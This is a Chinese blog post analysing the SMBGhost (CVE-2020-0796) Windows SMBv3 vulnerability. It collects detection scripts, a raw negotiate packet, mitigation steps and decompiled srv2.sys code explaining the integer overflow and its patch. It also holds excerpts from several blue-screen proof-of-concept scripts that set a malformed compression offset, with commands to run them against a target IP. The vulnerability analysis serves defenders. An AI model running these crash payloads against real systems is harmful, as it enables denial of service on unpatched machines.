smbghost(cve-2020-0796)漏洞POC汇总及简单分析

2020-03-30 约 1052 字 预计阅读 5 分钟

声明:本文 【smbghost(cve-2020-0796)漏洞POC汇总及简单分析】 由作者 LSA 于 2020-03-30 09:59:52 首发 先知社区 曾经 浏览数 136 次

感谢 LSA 的辛苦付出!

0x00 概述

20200310,microsoft透露了一个smb v3协议漏洞。
20200312,microsoft出补丁。
漏洞命名:smbghost
Microsoft Server Message Block 3.1.1(SMBv3)协议处理某些请求的方式中存在远程执行代码漏洞,可以在目标smb服务器或客户端上执行代码。
为了利用针对服务器的漏洞,未经身份验证的攻击者可以将特制数据包发送到目标SMBv3服务器;若要利用针对客户端的漏洞,未经身份验证的攻击者将需要配置恶意的SMBv3服务器,并诱使用户连接到该服务器。

0x01 影响范围

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
只影响 SMB v3.1.1,1903和1909

0x02 漏洞检测

////至发文(20200322)暂未发现公开EXP。
环境win10x64-1903专业版,关闭防火墙,关闭自动更新!

python版

https://github.com/ollypwn/SMBGhost

It checks for SMB dialect 3.1.1 and compression capability through a negotiate request.
---README.md

socket发送数据包

pkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'

返回判断

if res[68:70] != b"\x11\x03" or res[70:72] != b"\x02\x00":
        print(f"{ip} Not vulnerable.")
    else:
        print(f"{ip} Vulnerable")

然而打上补丁修补后:

所以打上补丁后该脚本也会返回vulnerable导致误报。

python版带数据结构输出

https://github.com/ioncodes/SMBGhost

此脚本判断是否已启用SMBv3.1.1和SMB压缩,同1)也会误报
pip3 install hexdump

同样也是判断这两个位置

version = struct.unpack("H", response[68:70])[0]
context = struct.unpack("H", response[70:72])[0]

if version != 0x0311:
    print(f"SMB version {hex(version)} was found which is not vulnerable!")
elif context != 2:
    print(f"Server answered with context {hex(context)} which indicates that the target may not have SMB compression enabled and is therefore not vulnerable!")
else:
print(f"SMB version {hex(version)} with context {hex(context)} was found which indicates SMBv3.1.1 is being used and SMB compression is enabled, therefore being vulnerable to CVE-2020-0796!")

//另外还有这个py检查smb版本和压缩,也可以试试
https://github.com/ClarotyICS/CVE2020-0796/blob/master/python_script/smbv3_compress.py

powershell版本

https://github.com/T13nn3s/CVE-2020-0796

没打补丁:

打补丁后:

判断版本和补丁,简单直接,不会误报。

if ($WindowsVersion -eq 1903) {
        Write-Host "[*] CVE-2020-0976 is applicable to your Windows Version."
    }
    Elseif ($WindowsVersion -eq 1909) {
        Write-Host "[*] CVE-2020-0976 is applicable to your Windows Version."
    }
    Else {
        Write-Host "[+] CVE-2020-0976 is not applicable to your Windows Version." -ForegroundColor Green
        pause
        return
}
......
function CheckIfUpdateIsInstalled {
    Write-Host "[*] Check if KB4551762 is installed..."

    $fix = Get-HotFix -Id KB4551762 -ErrorAction SilentlyContinue

    if ($fix) {
        Write-Host "[+] *** Windows Update $($fix.HotFixID) is installed on $($fix.InstalledOn). You're not vulnerable ***"
        Write-Host "[+] No workaround needed, you can still customize the SMBv3 compression if you like."
        return
    }
    Else {
        Write-Host "[-] Windows Update $($kb) is not installed."
}

perl版本

https://github.com/wneessen/SMBCompScan


也是用socket发包,返回判断两个位置

if(($byteArray[68] == 17 && $byteArray[70] == 2) || ($byteArray[70] == 2 && $byteArray[72] == 85)) {
        say 'vulnerable';
    }
    else {
        say 'not vulnerable';
    }

nmap版本

调用nmap的smb协议扫描脚本检查是否有smbv3.11

nmap -p445 --script smb-protocols -Pn -n $1 | grep -P '\d+\.\d+\.\d+\.\d+|^\|.\s+3.11' | tr '\n' ' ' | replace 'Nmap scan report for' '@' | tr "@" "\n" | grep 3.11 | tr '|' ' ' | tr '_' ' ' | grep -oP '\d+\.\d+\.\d+\.\d+'

if [[ $? != 0 ]]; then
    echo "There's no SMB v3.11"
fi

还有一些nse脚本:
https://github.com/ClarotyICS/CVE2020-0796/tree/master/nse_script
https://github.com/cyberstruggle/DeltaGroup/blob/master/CVE-2020-0796/CVE-2020-0796.nse
https://github.com/pr4jwal/CVE-2020-0796/blob/master/cve-2020-0796.nse

规则版本

https://github.com/ClarotyICS/CVE2020-0796/tree/master/snort_rules
https://github.com/cve-2020-0796/cve-2020-0796/blob/master/snort_rule_smbv3.rules

蓝屏POC

1)
https://github.com/eerykitty/CVE-2020-0796-PoC

def _compress(self, b_data, session):
        header = SMB2CompressionTransformHeader()
        header['original_size'] = len(b_data)
        header['offset'] = 4294967295
        header['data'] = smbprotocol.lznt1.compress(b_data)

python3 CVE-2020-0796.py 19.1.2.56

2)
https://github.com/maxpl0it/Unauthenticated-CVE-2020-0796-PoC/blob/master/crash.py

class Smb2CompressedTransformHeader:
    def __init__(self, data):
        self.data = data
        self.protocol_id = "\xfcSMB"
        self.original_decompressed_size = struct.pack('<i', len(self.data)).decode('latin1')
        self.compression_algorithm = "\x01\x00"
        self.flags = "\x00"*2
        self.offset = "\xff\xff\xff\xff"  # Exploit the vulnerability

python3 crash.py 19.1.2.56

3)
https://gist.github.com/asolino/45095268f0893bcf08bca3ae68a755b2

def attack(self):
        compressedHeader = SMB2_COMPRESSION_TRANSFORM_HEADER ()
        compressedHeader['ProtocolID'] = 0x424D53FC
        compressedHeader['OriginalCompressedSegmentSize'] = 1024
        compressedHeader['CompressionAlgorithm'] = 1
        compressedHeader['Flags'] = 0xffff
        compressedHeader['Offset_Length'] = 0xffffffff

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
sudo python setup.py install

0x04 修复方案

1】设置-更新和安全-Windows更新-检查更新
或直接下载对应补丁进行安装(KB4551762)
https://www.catalog.update.microsoft.com/Search.aspx?q=KB4551762
2】regedit HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters建立一个名为DisableCompression的DWORD,值为1,禁止SMB的压缩功能。
或powershell
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force
3】封445端口

0x05 简单分析

smb服务端漏洞文件srv2.sys(C:\Windows\System32\drivers\srv2.sys)
smb客户端漏洞文件mrxsmb.sys
都在SmbCompressDecompress中调用了相同的代码。
分析srv2.sys:
//ida加载srv2.sys不显示函数名是因为没有符号表,要科学上网再在ida提示的时候点yes下载,或者利用windbg\symchk.exe下载

微软在Windows 10 v1903/Windows Server v1903的SMB 3.1.1协议中开启了对数据压缩传输的支持,本漏洞成因是SMB客户端及服务端在准备解压数据(身份认证请求)时,没有对COMPRESSION_TRANSFORM_HEADE结构进行安全校验,导致后续分配buffer时整形溢出。

typedef struct _COMPRESSION_TRANSFORM_HEADER
    {
      ULONG ProtocolId;
      ULONG OriginalCompressedSegmentSize;
      USHORT CompressionAlgorithm;
      USHORT Flags;
      ULONG Length;
    }COMPRESSION_TRANSFORM_HEADER, *PCOMPRESSION_TRANSFORM_HEADER;

在srv2.sys中找和compress相关的函数,如下:
Smb2GetHonorCompressionAlgOrder
Srv2DecompressMessageAsync
Srv2DecompressData
Smb2ValidateCompressionCapabilities
Smb2SelectCompressionAlgorithm

smb会调用Srv2!Srv2ReceiveHandler函数接收smb数据包,如果SMB Header中的ProtocolId是0xFC, 'S', 'M', 'B',说明数据是压缩的,则smb会调用Srv2DecompressMessageAsync函数进行解压缩。

Srv2!Srv2DecompressMessageAsync会调用Srv2!Srv2DecompressData函数,申请buffer,解压缩并copy到buffer

附上Lucas Georges美化后的代码:

For that, I used three sources of public information:
DevDays Redmond 2019, where they present an overview of "compressed" SMB packets: >https://interopevents.blob.core.windows.net/uploads/PDFs/2019/Redmond/Talpey-SMB3doc-19H1-DevDays%20Redmond%202019.pdf ([4])
[MS-SMBv2] the open specification documenting the SMB v2/3 protocol: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5606ad47-5ee0-437a-817e-70c366052962 ([5])
Public patches from Microsoft engineers in the open-source CIFS project, e.g.: https://patchwork.kernel.org/patch/11014449/
---Lucas Georges

__int64 __fastcall Srv2DecompressData(__int64 _smb_packet)
{
  __int64 smb_packet; // rdi
  __int64 _header; // rax
  SMB_V2_COMPRESSION_TRANSFORM_HEADER v3; // xmm0
  AAA smb_header_compress; // xmm0_8
  unsigned int CompressionAlgorithm; // ebp
  __int64 __alloc_buffer; // rax
  __int64 __allocated_buffer; // rbx
  int PayloadSize; // eax
  SMB_V2_COMPRESSION_TRANSFORM_HEADER Header; // [rsp+30h] [rbp-28h]
  int UncompressedSize; // [rsp+60h] [rbp+8h]

  UncompressedSize = 0;
  smb_packet = _smb_packet;
  _header = *(_QWORD *)(_smb_packet + 0xF0);

  // Basic size checks
  if ( *(_DWORD *)(_header + 0x24) < sizeof(SMB_V2_COMPRESSION_TRANSFORM_HEADER) )
    return 0xC000090Bi64;

  v3 = *(SMB_V2_COMPRESSION_TRANSFORM_HEADER *)*(_QWORD *)(_header + 0x18);
  Header = v3;

  // Check the compression algo used is the same one as the one negotiated during NEGOTIATE_PACKET sequence
  *(__m128i *)&smb_header_compress.Algo = _mm_srli_si128(
                                            (__m128i)v3,
                                            offsetof(SMB_V2_COMPRESSION_TRANSFORM_HEADER, CompressionAlgorithm));
  CompressionAlgorithm = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(_smb_packet + 80) + 496i64) + 140i64);
  if ( CompressionAlgorithm != (unsigned __int16)smb_header_compress.Algo )
    return 0xC00000BBi64;

  // Nani ?? oO
  __alloc_buffer = SrvNetAllocateBuffer(
        (unsigned int)(
            Header.OriginalCompressedSegmentSize + smb_header_compress.OffsetOrLength),
        0i64
  );

  __allocated_buffer = __alloc_buffer;
  if ( !__alloc_buffer )
    return 0xC000009Ai64;

  // Decompress data in newly allocated buffer and check the uncompressed size is equal to the one filled out in Header.OriginalCompressedSegmentSize
  if ( (int)SmbCompressionDecompress(
              CompressionAlgorithm,
              (BYTE *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + (unsigned int)Header.OffsetOrLength
                                                                          + 0x10i64),
              *(_DWORD *)(*(_QWORD *)(smb_packet + 240) + 36i64) - Header.OffsetOrLength - 0x10,
              (BYTE *)((unsigned int)Header.OffsetOrLength + *(_QWORD *)(__alloc_buffer + 0x18)),
              Header.OriginalCompressedSegmentSize,
              &UncompressedSize) < 0
    || (PayloadSize = UncompressedSize, UncompressedSize != Header.OriginalCompressedSegmentSize) )
  {
    SrvNetFreeBuffer(__allocated_buffer);
    return 0xC000090Bi64;
  }

  // Copy optional payload
  if ( Header.OffsetOrLength )
  {
    memmove(
      *(void **)(__allocated_buffer + 0x18),
      (const void *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + 0x10i64),
      (unsigned int)Header.OffsetOrLength);
    PayloadSize = UncompressedSize;
  }


  *(_DWORD *)(__allocated_buffer + 36) = Header.OffsetOrLength + PayloadSize;
  Srv2ReplaceReceiveBuffer(smb_packet, __allocated_buffer);
  return 0i64;
}

攻击者可以控制 OriginalCompressedSegmentSize和OffsetOrLength 这两个参数。

//图片来源:[MS-SMB2]

OriginalCompressedSegmentSize:压缩前的数据大小。
OffsetOrLength :压缩数据的长度或者片偏移,主要取决于是否设置flags变量。
都为32位int型,并且Srv2!Srv2DecompressData用它们控制分配内存空间,漏洞点:

__alloc_buffer  =  SrvNetAllocateBuffer
   unsigned  int )(Header.OriginalCompressedSegmentSize  +  smb_header_compress.OffsetOrLength),
   0 i64 
 ;

没有检查相加的值,导致integer整数溢出,SrvNetAllocateBuffer分配了一个较小的alloc_buffer。
随后在Srv2!Srv2DecompressData函数调用SmbCompressionDecompress,最终调用nt!RtlDecompressBufferXpressLz进行数据解压。
附上360博客上分析的代码:

signed __int64 __fastcall RtlDecompressBufferXpressLz(_BYTE *a1, unsigned int a2, _BYTE *a3, unsigned int a4, __int64 a5, _DWORD *a6)
    {
            v9 = &a1[a2];
            ....
            if ( &a1[v21] > v9 )
              return 0xC0000242i64;
            ...
            v33 = a1;
            a1 += v21;
            qmemcpy(v33, v23, v21);
}

//代码来源blogs.360.cn/post/CVE-2020-0796.html

a1指向SrvNetAllocateBuffer分配的alloc_buffer,

a2的值为OriginalCompressedSegmentSize,v21的值为从smb数据包中解析的解压缩数据的大小,该值可由攻击者控制,若该大小大于OriginalCompressedSegmentSize,则会返回0xC0000242错误,由于之前对长度没有检查,如果我们传入一个很大的OriginalCompressedSegmentSize触发整数溢出,同时v21就可以设置一个极大值,而依然可以通过对decompress size的判断,最终调用qmemcpy拷贝一个极大的size导致缓冲区溢出
---blogs.360.cn

补丁对比:

美化后代码:

unsigned int _v_allocation_size = 0;

  if (!NT_SUCCESS(RtlUlongAdd(Header.OriginalCompressedSegmentSize, smb_header_compress.OffsetOrLength, &_v_allocation_size)))
  {
    SEND_SOME_ETW_EVENT_FOR_TELEMETRY_AND_CATCHING_BAD_GUYS(&wpp_guid);
    goto ON_ERROR;
  }

  if (_v_allocation_size > another_smb_size_i_guess)
  {
    SEND_SOME_ETW_EVENT_FOR_TELEMETRY_AND_CATCHING_BAD_GUYS(&wpp_guid);
    goto ON_ERROR;
  }

  __alloc_buffer = SrvNetAllocateBuffer(
    _v_allocation_size,
    0i64
  );
  if ( !__alloc_buffer )
    return 0xC000009A;

  if (!NT_SUCCESS(RtlULongSub(_v_allocation_size, smb_header_compress.OffsetOrLength, &_v_uncompressed_size)))
  {
    SEND_SOME_ETW_EVENT_FOR_TELEMETRY_AND_CATCHING_BAD_GUYS(&wpp_guid);
    goto ON_ERROR;
  }

  if (!NT_SUCCESS(SmbCompressionDecompress(
              AlgoId,
              (BYTE *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + (unsigned int)Header.OffsetOrLength
                                                                          + 0x10i64),
              _v_uncompressed_size,
              Size.m128i_u32[3] + *(_QWORD *)(v10 + 24),
              Header.OriginalCompressedSegmentSize,
              &UncompressedSize)) < 0
    || (PayloadSize = UncompressedSize, UncompressedSize != Header.OriginalCompressedSegmentSize) )

//代码来源https://www.synacktiv.com/posts/exploit/im-smbghost-daba-dee-daba-da.html

使用RtlULongAdd对OriginalCompressedSegmentSize和Offset(Length)进行检查。
用RtULongSub在计算偏移量字段的同时计算压缩缓冲区的大小。
这两个函数是安全的,可在运行时检查整数上溢/下溢出。

0x06 结语

继ms17-010,cve-2019-0708后,又一个蠕虫级RCE漏洞,期待EXP!
//附件是srv2.sys和符号表文件

0x07 参考资料

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/adv200005
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796
blogs.360.cn/post/CVE-2020-0796.html
https://blog.riskivy.com/零基础探索smbv3远程代码执行漏洞poc/
https://www.synacktiv.com/posts/exploit/im-smbghost-daba-dee-daba-da.html
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/smbghost-analysis-of-cve-2020-0796/
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/microsoft-public-symbols

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now